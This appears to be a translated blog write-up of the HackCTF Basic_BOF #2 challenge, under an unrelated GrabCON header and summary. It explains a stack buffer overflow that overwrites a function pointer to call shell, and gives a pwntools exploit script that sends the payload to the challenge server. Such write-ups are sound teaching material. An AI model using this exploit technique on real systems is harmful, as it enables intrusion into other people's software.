2021-09-09 · 2분
GrabCON CTF — Can You write-up
GrabCON pwnable の write-up(cancancan):スタックカナリーリークという赤ニシンを追いかけた後、printf(buf) に offset 6 の FSB があることに気づき、read の GOT エントリを win 関数で上書きする。
2021-09-09 · 1분
この記事は公開から2年以上経過しています。
https://ctf.j0n9hyun.xyz/challenges#Basic_BOF%20#2
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[128]; // [esp+Ch] [ebp-8Ch] BYREF
int (*v5)(); // [esp+8Ch] [ebp-Ch]
v5 = sup;
fgets(s, 133, stdin);
v5();
return 0;
}
int shell()
{
return system("/bin/dash");
}
shell 関数を実行すればよい問題のようです。fgets で BOF が起きます。ペイロード dummy[128] + shell で解決しそうです。なぜリターンまで上書きしないのか気になるかもしれませんが、コードをもう一度見てください。v5 という関数を実行する部分があります。そして s から v5 の前までを dummy で埋め、v5 のアドレスを shell アドレスに変えれば、v5(); の部分が実行されるとき shell 関数が実行されるのと同じになります。

自分の知っている技法だけにこだわらず、コードを見ながら問題を解けばもっと簡単に解決できます。
ソースコード
もっと見る
from pwn import *
p = remote('ctf.j0n9hyun.xyz', 3001)
e = ELF("./bof_basic2")
shell = e.symbols['shell']
offset = 128
payload = b'A'*128 + p32(shell)
p.send(payload)
p.interactive()
**[ハッキング/システムハッキング] - [システムハッキング] Buffer Overflow (BOF)**](https://nabomhalang.tistory.com/entry/시스템해킹-HackCTF-BasicBOF-1) [[システムハッキング] Buffer Overflow (BOF) BUFFER OVERFLOW BOF 設定されているバッファのサイズより大きく入力を受け取れるときに生じる脆弱性です。int __cdecl main(int argc, const char **argv, const char **envp) { char s[40]; // [esp+4h] > ebp-34h.. > — nabomhalang.t — nabomhalang.tistory.com
原文(韓国語): tistory — 2021-09-09 公開、当ブログへ移行。この翻訳は AI の協力で作成されました。
…